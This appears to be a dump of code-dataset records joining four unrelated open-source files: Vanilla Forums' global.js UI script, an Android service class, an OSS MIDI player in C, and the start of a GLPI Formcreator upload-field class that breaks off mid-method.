$elem.closest('.ToggleFlyout'); var href = $elem.attr('href'); var progressClass = $elem.hasClass('Bookmark') ? 'Bookmarking' : 'InProgress'; // If empty, or starts with a fragment identifier, do not send // an async request. if (!href || href.trim().indexOf('#') === 0) return; gdn.disable(this, progressClass); e.stopPropagation(); $.ajax({ type: "POST", url: href, data: {DeliveryType: 'VIEW', DeliveryMethod: 'JSON', TransientKey: gdn.definition('TransientKey')}, dataType: 'json', complete: function() { gdn.enable($elem.get(0)); $elem.removeClass(progressClass); $elem.attr('href', href); // If we are in a flyout, close it. $toggleFlyout .removeClass('Open') .find('.Flyout') .hide() .setFlyoutAttributes(); }, error: function(xhr) { gdn.informError(xhr); }, success: function(json) { if (json === null) json = {}; var informed = gdn.inform(json); gdn.processTargets(json.Targets, $elem, $parent); // If there is a redirect url, go to it. if (json.RedirectTo) { setTimeout(function() { window.location.replace(json.RedirectTo); }, informed ? 3000 : 0); } } }); return false; }; $(document).delegate('.Hijack, .js-hijack', 'click', hijackClick); // Activate ToggleFlyout and ButtonGroup menus $(document).delegate('.ButtonGroup > .Handle', 'click', function() { var $buttonGroup = $(this).closest('.ButtonGroup'); if (!$buttonGroup.hasClass('Open')) { $('.ButtonGroup') .removeClass('Open') .setFlyoutAttributes(); // Open this one $buttonGroup .addClass('Open') .setFlyoutAttributes(); } else { $('.ButtonGroup') .removeClass('Open') .setFlyoutAttributes(); } return false; }); var lastOpen = null; $(document).delegate('.ToggleFlyout', 'click', function(e) { var $toggleFlyout = $(this); var $flyout = $('.Flyout', this); var isHandle = false; if ($(e.target).closest('.Flyout').length === 0) { e.stopPropagation(); isHandle = true; } else if ($(e.target).hasClass('Hijack') || $(e.target).closest('a').hasClass('Hijack')) { return; } e.stopPropagation(); // Dynamically fill the flyout. var rel = $(this).attr('rel'); if (rel) { $(this).attr('rel', ''); $flyout.html('<div class="InProgress" style="height: 30px"></div>'); $.ajax({ url: gdn.url(rel), data: {DeliveryType: 'VIEW'}, success: function(data) { $flyout.html(data); }, error: function(xhr) { $flyout.html(''); gdn.informError(xhr, true); } }); } if ($flyout.css('display') == 'none') { if (lastOpen !== null) { $('.Flyout', lastOpen).hide(); $(lastOpen).removeClass('Open').closest('.Item').removeClass('Open'); $toggleFlyout.setFlyoutAttributes(); } $(this).addClass('Open').closest('.Item').addClass('Open'); $flyout.show(); lastOpen = this; $toggleFlyout.setFlyoutAttributes(); } else { $flyout.hide(); $(this).removeClass('Open').closest('.Item').removeClass('Open'); $toggleFlyout.setFlyoutAttributes(); } if (isHandle) return false; }); // Close ToggleFlyout menu even if their links are hijacked $(document).delegate('.ToggleFlyout a', 'mouseup', function() { if ($(this).hasClass('FlyoutButton')) return; $('.ToggleFlyout').removeClass('Open').closest('.Item').removeClass('Open'); $('.Flyout').hide(); $(this).closest('.ToggleFlyout').setFlyoutAttributes(); }); $(document).delegate(document, 'click', function() { if (lastOpen) { $('.Flyout', lastOpen).hide(); $(lastOpen).removeClass('Open').closest('.Item').removeClass('Open'); } $('.ButtonGroup') .removeClass('Open') .setFlyoutAttributes(); }); // Add a spinner onclick of buttons with this class $(document).delegate('input.SpinOnClick', 'click', function() { $(this).before('<span class="AfterButtonLoading">&#160;</span>').removeClass('SpinOnClick'); }); // Confirmation for item removals $('a.RemoveItem').click(function() { if (!confirm('Are you sure you would like to remove this item?')) { return false; } }); if (window.location.hash === '') { // Jump to the hash if desired. if (gdn.definition('LocationHash', 0) !== 0) { $(window).load(function() { window.location.hash = gdn.definition('LocationHash'); }); } if (gdn.definition('ScrollTo', 0) !== 0) { var scrollTo = $(gdn.definition('ScrollTo')); if (scrollTo.length > 0) { $('html').animate({ scrollTop: scrollTo.offset().top - 10 }); } } } gdn.stats = function() { // Call directly back to the deployment and invoke the stats handler var StatsURL = gdn.url('settings/analyticstick.json'); var SendData = { 'TransientKey': gdn.definition('TransientKey'), 'Path': gdn.definition('Path'), 'Args': gdn.definition('Args'), 'ResolvedPath': gdn.definition('ResolvedPath'), 'ResolvedArgs': gdn.definition('ResolvedArgs') }; if (gdn.definition('TickExtra', null) !== null) SendData.TickExtra = gdn.definition('TickExtra'); jQuery.ajax({ dataType: 'json', type: 'post', url: StatsURL, data: SendData, success: function(json) { gdn.inform(json); }, complete: function(jqXHR, textStatus) { jQuery(document).triggerHandler('analyticsTick', [SendData, jqXHR, textStatus]); } }); }; // Ping back to the deployment server to track views, and trigger // conditional stats tasks var AnalyticsTask = gdn.definition('AnalyticsTask', false); if (AnalyticsTask == 'tick') gdn.stats(); // If a dismissable InformMessage close button is clicked, hide it. $(document).delegate('div.InformWrapper.Dismissable a.Close, div.InformWrapper .js-inform-close', 'click', function() { $(this).parents('div.InformWrapper').fadeOut('fast', function() { $(this).remove(); }); }); gdn.setAutoDismiss = function() { var timerId = $('div.InformMessages').attr('autodismisstimerid'); if (!timerId) { timerId = setTimeout(function() { $('div.InformWrapper.AutoDismiss').fadeOut('fast', function() { $(this).remove(); }); $('div.InformMessages').removeAttr('autodismisstimerid'); }, 7000); $('div.InformMessages').attr('autodismisstimerid', timerId); } }; // Handle autodismissals $(document).on('informMessage', function() { gdn.setAutoDismiss(); }); // Prevent autodismiss if hovering any inform messages $(document).delegate('div.InformWrapper', 'mouseover mouseout', function(e) { if (e.type == 'mouseover') { var timerId = $('div.InformMessages').attr('autodismisstimerid'); if (timerId) { clearTimeout(timerId); $('div.InformMessages').removeAttr('autodismisstimerid'); } } else { gdn.setAutoDismiss(); } }); // Take any "inform" messages out of an ajax response and display them on the screen. gdn.inform = function(response) { if (!response) return false; if (!response.InformMessages || response.InformMessages.length === 0) return false; // If there is no message container in the page, add one var informMessages = $('div.InformMessages'); if (informMessages.length === 0) { $('<div class="InformMessages"></div>').appendTo('body'); informMessages = $('div.InformMessages'); } var wrappers = $('div.InformMessages div.InformWrapper'), css, elementId, sprite, dismissCallback, dismissCallbackUrl; // Loop through the inform messages and add them to the container for (var i = 0; i < response.InformMessages.length; i++) { css = 'InformWrapper'; if (response.InformMessages[i].CssClass) css += ' ' + response.InformMessages[i].CssClass; elementId = ''; if (response.InformMessages[i].id) elementId = response.InformMessages[i].id; sprite = ''; if (response.InformMessages[i].Sprite) { css += ' HasSprite'; sprite = response.InformMessages[i].Sprite; } dismissCallback = response.InformMessages[i].DismissCallback; dismissCallbackUrl = response.InformMessages[i].DismissCallbackUrl; if (dismissCallbackUrl) dismissCallbackUrl = gdn.url(dismissCallbackUrl); try { var message = response.InformMessages[i].Message; var emptyMessage = message === ''; message = '<span class="InformMessageBody">' + message + '</span>'; // Is there a sprite? if (sprite !== '') message = '<span class="InformSprite ' + sprite + '"></span>'; // If the message is dismissable, add a close button if (css.indexOf('Dismissable') > 0) message = '<a href="#" onclick="return false;" tabindex="0" class="Close"><span>&times;</span></a>' + message; message = '<div class="InformMessage">' + message + '</div>'; // Insert any transient keys into the message (prevents csrf attacks in follow-on action urls). message = message.replace(/{TransientKey}/g, gdn.definition('TransientKey')); if (gdn.getMeta('SelfUrl')) { // If the url is explicitly defined (as in embed), use it. message = message.replace(/{SelfUrl}/g, gdn.getMeta('SelfUrl')); } else { // Insert the current url as a target for inform anchors message = message.replace(/{SelfUrl}/g, document.URL); } var skip = false; for (var j = 0; j < wrappers.length; j++) { if ($(wrappers[j]).text() == $(message).text()) { skip = true; } } if (!skip) { if (elementId !== '') { $('#' + elementId).remove(); elementId = ' id="' + elementId + '"'; } if (!emptyMessage) { informMessages.prependTrigger('<div class="' + css + '"' + elementId + '>' + message + '</div>'); // Is there a callback or callback url to request on dismiss of the inform message? if (dismissCallback) { $('div.InformWrapper:first').find('a.Close').click(eval(dismissCallback)); } else if (dismissCallbackUrl) { dismissCallbackUrl = dismissCallbackUrl.replace(/{TransientKey}/g, gdn.definition('TransientKey')); var closeAnchor = $('div.InformWrapper:first').find('a.Close'); closeAnchor.attr('callbackurl', dismissCallbackUrl); closeAnchor.click(function() { $.ajax({ type: "POST", url: $(this).attr('callbackurl'), data: 'TransientKey=' + gdn.definition('TransientKey'), dataType: 'json', error: function(XMLHttpRequest, textStatus, errorThrown) { gdn.informMessage(XMLHttpRequest.responseText, 'Dismissable AjaxError'); }, success: function(json) { gdn.inform(json); } }); }); } } } } catch (e) { } } informMessages.show(); $(document).trigger('informMessage'); return true; }; // Send an informMessage to the screen (same arguments as controller.InformMessage). gdn.informMessage = function(message, options) { if (!options) options = []; if (typeof(options) == 'string') { var css = options; options = []; options.CssClass = css; } options.Message = message; if (!options.CssClass) options.CssClass = 'Dismissable AutoDismiss'; gdn.inform({'InformMessages': new Array(options)}); }; // Inform an error returned from an ajax call. gdn.informError = function(xhr, silentAbort) { if (xhr === undefined || xhr === null) return; if (typeof(xhr) == 'string') xhr = {responseText: xhr, code: 500}; var message = xhr.responseText; var code = xhr.status; if (!message) { switch (xhr.statusText) { case 'error': if (silentAbort) return; message = 'There was an error performing your request. Please try again.'; break; case 'timeout': message = 'Your request timed out. Please try again.'; break; case 'abort': return; } } try { var data = $.parseJSON(message); if (typeof(data.Exception) == 'string') message = data.Exception; } catch (e) { } if (message === '') message = 'There was an error performing your request. Please try again.'; gdn.informMessage('<span class="InformSprite Lightbulb Error' + code + '"></span>' + message, 'HasSprite Dismissable'); }; // Pick up the inform message stack and display it on page load var informMessageStack = gdn.definition('InformMessageStack', false); if (informMessageStack) { var informMessages; try { informMessages = $.parseJSON(informMessageStack); informMessageStack = {'InformMessages': informMessages}; gdn.inform(informMessageStack); } catch (e) { console.log('informMessageStack contained invalid JSON'); } } // Ping for new notifications on pageload, and subsequently every 1 minute. var notificationsPinging = 0, pingCount = 0; var pingForNotifications = function() { if (notificationsPinging > 0 || !gdn.focused) return; notificationsPinging++; $.ajax({ type: "POST", url: gdn.url('/notifications/inform'), data: { 'TransientKey': gdn.definition('TransientKey'), 'Path': gdn.definition('Path'), 'DeliveryMethod': 'JSON', 'Count': pingCount++ }, dataType: 'json', error: function(XMLHttpRequest, textStatus, errorThrown) { console.log(XMLHttpRequest.responseText); }, success: function(json) { gdn.inform(json); }, complete: function() { notificationsPinging--; } }); }; gdn.pingForNotifications = pingForNotifications; if (gdn.definition('SignedIn', '0') != '0' && gdn.definition('DoInform', '1') != '0') { setTimeout(pingForNotifications, 3000); setInterval(pingForNotifications, 60000); } // Clear notifications alerts when they are accessed anywhere. $(document).on('click', '.js-clear-notifications', function() { $('.NotificationsAlert').remove(); }); $(document).on('change', '.js-nav-dropdown', function() { window.location = $(this).val(); }); // Stash something in the user's session (or unstash the value if it was not provided) var stash = function(name, value, callback) { $.ajax({ type: "POST", url: gdn.url('session/stash'), data: {'TransientKey': gdn.definition('TransientKey'), 'Name': name, 'Value': value}, dataType: 'json', error: function(XMLHttpRequest, textStatus, errorThrown) { gdn.informMessage(XMLHttpRequest.responseText, 'Dismissable AjaxError'); }, success: function(json) { gdn.inform(json); if (typeof(callback) === 'function') { callback(); } else { return json.Unstash; } } }); return ''; }; // When a stash anchor is clicked, look for inputs with values to stash $('a.Stash').click(function(e) { var comment = $('#Form_Comment textarea').val(), placeholder = $('#Form_Comment textarea').attr('placeholder'), stash_name; // Stash a comment: if (comment !== '' && comment !== placeholder) { var vanilla_identifier = gdn.definition('vanilla_identifier', false); if (vanilla_identifier) { // Embedded comment: stash_name = 'CommentForForeignID_' + vanilla_identifier; } else { // Non-embedded comment: stash_name = 'CommentForDiscussionID_' + gdn.definition('DiscussionID'); } var href = $(this).attr('href'); e.preventDefault(); stash(stash_name, comment, function() { window.top.location = href; }); } }); String.prototype.addCommas = function() { var nStr = this, x = nStr.split('.'), x1 = x[0], x2 = x.length > 1 ? '.' + x[1] : '', rgx = /(\d+)(\d{3})/; while (rgx.test(x1)) { x1 = x1.replace(rgx, '$1' + ',' + '$2'); } return x1 + x2; }; Array.prototype.sum = function() { for (var i = 0, sum = 0; i < this.length; sum += this[i++]); return sum; }; Array.prototype.max = function() { return Math.max.apply({}, this); }; Array.prototype.min = function() { return Math.min.apply({}, this); }; if (/msie/.test(navigator.userAgent.toLowerCase())) { $('body').addClass('MSIE'); } var d = new Date(); var hourOffset = -Math.round(d.getTimezoneOffset() / 60); var tz = false; /** * ECMAScript Internationalization API is supported by all modern browsers, with the exception of Safari. We use * it here, with lots of careful checking, to attempt to fetch the user's current IANA time zone string. */ if (typeof Intl === 'object' && typeof Intl.DateTimeFormat === 'function') { var dateTimeFormat = Intl.DateTimeFormat(); if (typeof dateTimeFormat.resolvedOptions === 'function') { var resolvedOptions = dateTimeFormat.resolvedOptions(); if (typeof resolvedOptions === 'object' && typeof resolvedOptions.timeZone === 'string') { tz = resolvedOptions.timeZone; } } } // Ajax/Save the ClientHour if it is different from the value in the db. var setHourOffset = parseInt(gdn.definition('SetHourOffset', hourOffset)); var setTimeZone = gdn.definition('SetTimeZone', tz); if (hourOffset !== setHourOffset || (tz && tz !== setTimeZone)) { $.post( gdn.url('/utility/sethouroffset.json'), {HourOffset: hourOffset, TimeZone: tz, TransientKey: gdn.definition('TransientKey')} ); } // Add "checked" class to item rows if checkboxes are checked within. var checkItems = function() { var container = $(this).parents('.Item'); if ($(this).prop('checked')) $(container).addClass('Checked'); else $(container).removeClass('Checked'); }; $('.Item :checkbox').each(checkItems); $('.Item :checkbox').change(checkItems); // Hide/Reveal the "forgot your password" form if the ForgotPassword button is clicked. $(document).delegate('a.ForgotPassword', 'click', function() { // Make sure we have both forms if ($('#Form_User_SignIn').length) { $('.Methods').toggle(); $('#Form_User_Password').toggle(); $('#Form_User_SignIn').toggle(); return false; } }); // If we are not inside an iframe, focus the email input on the signin page. if ($('#Form_User_SignIn').length && window.top.location === window.location) { $('#Form_Email').focus(); } // Convert date fields to datepickers if ($.fn.datepicker) { $('input.DatePicker').datepicker({ showOn: "focus", dateFormat: 'mm/dd/yy' }); } /** * Youtube preview revealing * */ // Reveal youtube player when preview clicked. function Youtube($container) { var $preview = $container.find('.VideoPreview'); var $player = $container.find('.VideoPlayer'); $container.addClass('Open').closest('.ImgExt').addClass('Open'); var width = $preview.width(), height = $preview.height(), videoid = ''; try { videoid = $container.attr('data-youtube').replace('youtube-', ''); } catch (e) { console.log("YouTube parser found invalid id attribute: " + videoid); } // Verify we have a valid videoid var pattern = /^[\w-]+(\?autoplay\=1)(\&start=[\w-]+)?(\&rel=.)?$/; if (!pattern.test(videoid)) { return false; } var html = '<iframe width="' + width + '" height="' + height + '" src="https://www.youtube.com/embed/' + videoid + '" frameborder="0" allowfullscreen></iframe>'; $player.html(html); $preview.hide(); $player.show(); return false; } $(document).delegate('.Video.YouTube .VideoPreview', 'click', function(e) { var $target = $(e.target); var $container = $target.closest('.Video.YouTube'); return Youtube($container); }); /** * GitHub commit embedding * */ // @tim : 2013-08-24 // Experiment on hold. // if ($('div.github-commit').length) { // // Github embed library // window.GitHubCommit = (function (d,s,id) { // var t, js, fjs = d.getElementsByTagName(s)[0]; // if (d.getElementById(id)) return; js=d.createElement(s); js.id=id; // js.src=gdn.url('js/library/github.embed.js'); fjs.parentNode.insertBefore(js, fjs); // return window.GitHubCommit || (t = { _e: [], ready: function(f){ t._e.push(f) } }); // }(document, "script", "github-embd")); // // GitHubCommit.ready(function(GitHubCommit){ // setTimeout(commits, 300); // }); // } // // function commits(GitHubCommit) { // $('div.github-commit').each(function(i, el){ // var commit = $(el); // var commiturl = commit.attr('data-commiturl'); // var commituser = commit.attr('data-commituser'); // var commitrepo = commit.attr('data-commitrepo'); // var commithash = commit.attr('data-commithash'); // console.log(el); // }); // } /** * Vine image embedding * */ // Automatic, requires no JS /** * Pintrest pin embedding * */ if ($('a.pintrest-pin').length) { (function(d) { var f = d.getElementsByTagName('SCRIPT')[0], p = d.createElement('SCRIPT'); p.type = 'text/javascript'; p.async = true; p.src = '//assets.pinterest.com/js/pinit.js'; f.parentNode.insertBefore(p, f); }(document)); } /** * Textarea autosize. * * Create wrapper for autosize library, so that the custom * arguments passed do not need to be repeated for every call, if for some * reason it needs to be binded elsewhere and the UX should be identical, * otherwise just use autosize directly, passing arguments or none. * * Note: there should be no other calls to autosize, except for in this file. * All previous calls to the old jquery.autogrow were called in their * own files, which made managing this functionality less than optimal. Now * all textareas will have autosize binded to them by default. * * @depends js/library/jquery.autosize.min.js */ gdn.autosize = function(textarea) { // Check if library available. if ($.fn.autosize) { // Check if not already active on node. if (!$(textarea).hasClass('textarea-autosize')) { $(textarea).autosize({ append: '\n', resizeDelay: 20, // Keep higher than CSS transition, else creep. callback: function(el) { // This class adds the transition, and removes manual resize. $(el).addClass('textarea-autosize'); } }); // Otherwise just trigger a resize refresh. } else { $(textarea).trigger('autosize.resize'); } } }; /** * Bind autosize to relevant nodes. * * Attach autosize to all textareas. Previously this existed across multiple * files, probably as it was slowly incorporated into different areas, but * at this point it's safe to call it once here. The wrapper above makes * sure that it will not throw any errors if the library is unavailable. * * Note: if there is a textarea not autosizing, it would be good to find out * if there is another event for that exception, and if all fails, there * is the livequery fallback, which is not recommended. */ gdn.initAutosizeEvents = (function() { $('textarea').each(function(i, el) { // Attach to all immediately available textareas. gdn.autosize(el); // Also, make sure that focus on the textarea will trigger a resize, // just to cover all possibilities. $(el).on('focus', function(e) { gdn.autosize(this); }); }); // For any dynamically loaded textareas that are inserted and have an // event triggered to grab their node, or just events that should call // a resize on the textarea. Attempted to bind to `appendHtml` event, // but it required a (0ms) timeout, so it's being kept in Quotes plugin, // where it's actually triggered. var autosizeTriggers = [ 'clearCommentForm', 'popupReveal', 'contentLoad' ]; $(document).on(autosizeTriggers.join(' '), function(e, data) { data = (typeof data == 'object') ? data : ''; $(data || e.target || this).parent().find('textarea').each(function(i, el) { gdn.autosize(el); }); }); }()); // http://stackoverflow.com/questions/118241/calculate-text-width-with-javascript String.prototype.width = function(font) { var f = font || "15px 'lucida grande','Lucida Sans Unicode',tahoma,sans-serif'", o = $('<div>' + this + '</div>') .css({ 'position': 'absolute', 'float': 'left', 'white-space': 'nowrap', 'visibility': 'hidden', 'font': f }) .appendTo($('body')), w = o.width(); o.remove(); return w; }; /** * Running magnific-popup. Image tag or text must be wrapped with an anchor * tag. This will render the content of the anchor tag's href. If using an * image tag, the anchor tag's href can point to either the same location * as the image tag, or a higher quality version of the image. If zoom is * not wanted, remove the zoom and mainClass properties, and it will just * load the content of the anchor tag with no special effects. * * @documentation http://dimsemenov.com/plugins/magnific-popup/documentation.html * */ gdn.magnificPopup = (function() { if ($.fn.magnificPopup) { $('.mfp-image').each(function(i, el) { $(el).magnificPopup({ type: 'image', mainClass: 'mfp-with-zoom', zoom: { enabled: true, duration: 300, easing: 'ease', opener: function(openerElement) { return openerElement.is('img') ? openerElement : openerElement.find('img'); } } }); }); } }()); /** * A kludge to dodge Safari's back-forward cache (bfcache). Without this, Safari maintains * the a page's DOM during back/forward navigation and hinders our ability to invalidate * the cached state of content. */ if (/Apple Computer/.test(navigator.vendor) && /Safari/.test(navigator.userAgent)) { jQuery(window).on("pageshow", function(event) { if (event.originalEvent.persisted) { window.location.reload(); } }); } $(document).trigger('contentLoad'); }); // Shrink large images to fit into message space, and pop into new window when clicked. // This needs to happen in onload because otherwise the image sizes are not yet known. jQuery(window).load(function() { /* Adds .naturalWidth() and .naturalHeight() methods to jQuery for retreaving a normalized naturalWidth and naturalHeight. // Example usage: var nWidth = $('img#example').naturalWidth(), nHeight = $('img#example').naturalHeight(); */ (function($) { var props = ['Width', 'Height'], prop; while (prop = props.pop()) { (function(natural, prop) { $.fn[natural] = (natural in new Image()) ? function() { return this[0][natural]; } : function() { var node = this[0], img, value; if (node.tagName.toLowerCase() === 'img') { img = new Image(); img.src = node.src; value = img[prop]; } return value; }; }('natural' + prop, prop.toLowerCase())); } }(jQuery)); jQuery('div.Message img') .not(jQuery('div.Message a > img')) .not(jQuery('.js-embed img')) .not(jQuery('.embedImage-img')) .each(function (i, img){ img = jQuery(img); var container = img.closest('div.Message'); if (img.naturalWidth() > container.width() && container.width() > 0) { img.wrap('<a href="' + jQuery(img).attr('src') + '" target="_blank" rel="nofollow noopener"></a>'); } }); // Let the world know we're done here jQuery(window).trigger('ImagesResized'); }); if (typeof String.prototype.trim !== 'function') { String.prototype.trim = function() { return this.replace(/^\s+|\s+$/g, ''); }; } (function ($) { $.fn.extend({ // jQuery UI .effect() replacement using CSS classes. effect: function(name) { var that = this; name = name + '-effect'; return this .addClass(name) .one('animationend webkitAnimationEnd', function () { that.removeClass(name); }); }, accessibleFlyoutHandle: function (isOpen) { $(this).attr('aria-expanded', isOpen.toString()); }, accessibleFlyout: function (isOpen) { $(this).attr('aria-hidden', (!isOpen).toString()); }, setFlyoutAttributes: function () { $(this).each(function(){ var $handle = $(this).find('.FlyoutButton, .Button-Options, .Handle, .editor-action:not(.editor-action-separator)'); var $flyout = $(this).find('.Flyout, .Dropdown'); var isOpen = $flyout.is(':visible'); $handle.accessibleFlyoutHandle(isOpen); $flyout.accessibleFlyout(isOpen); }); }, accessibleFlyoutsInit: function () { var $context = $(this); $context.each(function(){ $context.find('.FlyoutButton, .Button-Options, .Handle, .editor-action:not(.editor-action-separator)').each(function (){ $(this) .attr('tabindex', '0') .attr('role', 'button') .attr('aria-haspopup', 'true'); $(this).accessibleFlyoutHandle(false); }); $context.find('.Flyout, .Dropdown').each(function (){ $(this).accessibleFlyout(false); $(this).find('a').each(function() { $(this).attr('tabindex', '0'); }); }); }); }, }); })(jQuery);
bleistivt/vanilla
js/global.js
JavaScript
gpl-2.0
63,090
package com.truckmuncher.app.vendor; import android.app.IntentService; import android.content.Context; import android.content.Intent; import com.truckmuncher.app.App; import javax.inject.Inject; public class VendorTrucksService extends IntentService { @Inject VendorTruckStateResolver vendorTruckStateResolver; public VendorTrucksService() { super(VendorTrucksService.class.getSimpleName()); } public static Intent newIntent(Context context) { return new Intent(context, VendorTrucksService.class); } @Override public void onCreate() { super.onCreate(); App.get(this).inject(this); } @Override protected void onHandleIntent(Intent intent) { vendorTruckStateResolver.resolveState(); } }
TruckMuncher/TruckMuncher-Android
mobile/src/main/java/com/truckmuncher/app/vendor/VendorTrucksService.java
Java
gpl-2.0
783
#define DEB(stmt) /* stmt */ /* For debug printing */ #define DEB2(stmt) /* stmt */ /* For debug printing */ #define DEB3(stmt) stmt /* For debug printing */ #define DEB_ALWAYS(stmt) stmt /* Interesting things */ #define _INCLUDE_POSIX_SOURCE 1 #include <stdio.h> #include <unistd.h> #include <stdlib.h> #include <string.h> #include <ctype.h> #include <fcntl.h> #include <sys/errno.h> #include "../../../include/soundcard.h" extern int errno; #include "mlib.h" SEQ_DEFINEBUF (1024); int seqfd; mlib_track *tracks[1024]; int ntrks = 0; int dev = 0; void player () { int i, track; int prev_time = 0; int ptrs[1024] = { 0 }; unsigned char *ptr; unsigned char *event; int time, n = 0; #if 0 for (track = 0; track < ntrks; track++) for (i = 0; i < 128; i++) { if (tracks[track]->pgm_map[i] != -1) { n++; SEQ_LOAD_GMINSTR (dev, i); } tracks[track]->pgm_map[i] = i; if (n == 0) /* No program changes. Assume pgm# 0 */ SEQ_LOAD_GMINSTR (dev, 0); if (tracks[track]->drum_map[i] != -1) SEQ_LOAD_GMDRUM (dev, i); tracks[track]->drum_map[i] = i; } if (n == 0) /* No program changes detected */ SEQ_LOAD_GMINSTR (dev, 0); /* Acoustic piano */ #endif SEQ_START_TIMER (); while (1) { int best = -1, best_time = 0x7fffffff; for (i = 0; i < ntrks; i++) if (ptrs[i] < tracks[i]->len) { ptr = &(tracks[i]->events[ptrs[i] * 12]); event = &ptr[4]; time = *(int *) ptr; if (time < best_time) { best = i; best_time = time; } } if (best == -1) return; ptr = &(tracks[best]->events[ptrs[best] * 12]); event = &ptr[4]; time = *(int *) ptr; ptrs[best]++; if (event[0] < 128) { } else { int j; if (time > prev_time) { SEQ_WAIT_TIME (time); prev_time = time; } if (event[0] == EV_SYSEX) { event[1] = dev; } if ((event[0] & 0xf0) == 0x90) { event[1] = dev; if (event[0] == EV_CHN_COMMON && event[2] == MIDI_PGM_CHANGE) { event[4] = tracks[best]->pgm_map[event[4]]; } } _SEQ_NEEDBUF (8); memcpy (&_seqbuf[_seqbufptr], event, 8); _SEQ_ADVBUF (8); } } } int main (int argc, char *argv[]) { mlib_desc *mdesc; int was_last; int tmp, argp = 1; oss_longname_t song_name; char *p, *s, *devname="/dev/midi00";; extern void OSS_set_timebase(int tb); if (argc < 2) { fprintf (stderr, "Usage: %s midifile\n", argv[0]); exit (-1); } if (argc==3) { devname=argv[1]; argp++; } if ((seqfd = open (devname, O_WRONLY, 0)) == -1) { perror (devname); exit (-1); } dev=0; #ifdef OSSLIB OSS_init (seqfd, 1024); #endif if ((mdesc = mlib_open (argv[argp])) == NULL) { fprintf (stderr, "Can't open MIDI file %s: %s\n", argv[argp], mlib_errmsg ()); exit (-1); } ioctl(seqfd, SNDCTL_SETSONG, argv[argp]); /* * Extract the file name part of the argument */ p=s=argv[argp]; while (*s) { if (*s=='/') p=s+1; s++; } memset(song_name, 0, sizeof(song_name)); strcpy(song_name, p); #if 1 tmp=MIDI_MODE_TIMED; if (ioctl(seqfd, SNDCTL_MIDI_SETMODE, &tmp)==-1) { perror("SNDCTL_MIDI_SETMODE"); exit(-1); } #endif tmp = mdesc->hdr.division; printf("Timebase %d\n", tmp); OSS_set_timebase(tmp); if (ioctl(seqfd, SNDCTL_MIDI_TIMEBASE, &tmp)==-1) { perror("SNDCTL_MIDI_TIMEBASE"); exit(-1); } ntrks = 0; while ((tracks[ntrks] = mlib_loadtrack (mdesc, &was_last)) != NULL) { int i; DEB2 (printf ("Loaded track %03d: len = %d events, flags = %08x\n", mdesc->curr_trk, tracks[ntrks]->len, tracks[ntrks]->flags)); ntrks++; } if (!was_last) { fprintf (stderr, "%s: %s\n", argv[argp], mlib_errmsg ()); exit (-1); } tmp = (int) mdesc->timesig; printf("Timesig %08x\n", tmp); /* * Set the current song name (OSS 4.0 feature). */ ioctl(seqfd, SNDCTL_SETSONG, song_name); player (); SEQ_DELTA_TIME (mdesc->hdr.division * 8); SEQ_PGM_CHANGE(0, 0, 0); SEQ_DUMPBUF (); mlib_close (mdesc); close (seqfd); exit (0); }
etch-squeeze/oss-v4.2-build2008
tutorials/sndkit/ossmplay/ossmplay.c
C
gpl-2.0
4,189
<?php /** * --------------------------------------------------------------------- * Formcreator is a plugin which allows creation of custom forms of * easy access. * --------------------------------------------------------------------- * LICENSE * * This file is part of Formcreator. * * Formcreator is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * Formcreator is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with Formcreator. If not, see <http://www.gnu.org/licenses/>. * --------------------------------------------------------------------- * @copyright Copyright © 2011 - 2020 Teclib' * @license http://www.gnu.org/licenses/gpl.txt GPLv3+ * @link https://github.com/pluginsGLPI/formcreator/ * @link https://pluginsglpi.github.io/formcreator/ * @link http://plugins.glpi-project.org/#/plugin/formcreator * --------------------------------------------------------------------- */ namespace GlpiPlugin\Formcreator\Field; use PluginFormcreatorAbstractField; use Document; use Html; use Toolbox; use Session; use PluginFormcreatorForm; use GlpiPlugin\Formcreator\Exception\ComparisonException; use PluginFormcreatorSection; use PluginFormcreatorQuestion; class FileField extends PluginFormcreatorAbstractField { /**@var $uploadData array uploads saved as documents */ private $uploadData = []; /** @var $uploads array uploaded files on form submit */ private $uploads = [ '_filename' => [], '_prefix_filename' => [], '_tag_filename' => [], ]; public function isPrerequisites(): bool { return true; } public function getRenderedHtml($canEdit = true): string { if (!$canEdit) { $html = ''; $doc = new Document(); $answer = $this->uploadData; if (!is_array($this->uploadData)) { $answer = [$this->uploadData]; } foreach ($answer as $item) { if (is_numeric($item) && $doc->getFromDB($item)) { $html .= $doc->getDownloadLink(); } } return $html; } return Html::file([ 'name' => 'formcreator_field_' . $this->question->getID(), 'display' => false, 'multiple' => 'multiple', 'uploads' => $this->uploads, ]); } public function serializeValue(): string { return json_encode($this->uploadData, true); } public function deserializeValue($value) { $this->uploadData = json_decode($value, true); if ($this->uploadData === null) { $this->uploadData = []; } $this->value = __('No attached document', 'formcreator');; if (count($this->uploadData) > 0) { $this->value = __('Attached document', 'formcreator'); } } public function getValueForDesign(): string { return ''; } public function getValueForTargetText($richText): ?string { return $this->value; } public function moveUploads() { $key = 'formcreator_field_' . $this->question->getID(); if (!is_array($this->uploads) || !isset($this->uploads["_$key"])) { return; } $answer_value = []; $index = 0; foreach ($this->uploads["_$key"] as $document) { $document = Toolbox::stripslashes_deep($document); if (is_file(GLPI_TMP_DIR . '/' . $document)) { $prefix = $this->uploads['_prefix_formcreator_field_' . $this->question->getID()][$index]; $answer_value[] = $this->saveDocument($document, $prefix); } $index++; } $this->uploadData = $answer_value; } public function getDocumentsForTarget(): array { return $this->uploadData; } public function isValid(): bool { if (!$this->isRequired()) { return true; } // If the field is required it can't be empty $key = '_formcreator_field_' . $this->question->getID(); if (($this->isRequired() && count($this->uploads[$key]) < 1)) { Session::addMessageAfterRedirect( sprintf(__('A required file is missing: %s', 'formcreator'), $this->getLabel()), false, ERROR ); return false; } return $this->isValidValue($this->value); } public function isValidValue($value): bool { // If the field is required it can't be empty $key = 'formcreator_field_' . $this->question->getID(); return (count($this->uploads["_$key"]) > 0); } public static function getName(): string { return __('File'); } public function prepareQuestionInputForSave($input) { return $input; } public static function canRequire(): bool { return true; } public function saveUploads($input) { $key = 'formcreator_field_' . $this->question->getID(); $index = 0; $answer_value = []; foreach ($input["_$key"] as $document) { $document = Toolbox::stripslashes_deep($document); if (is_file(GLPI_TMP_DIR . '/' . $document)) { $prefix = 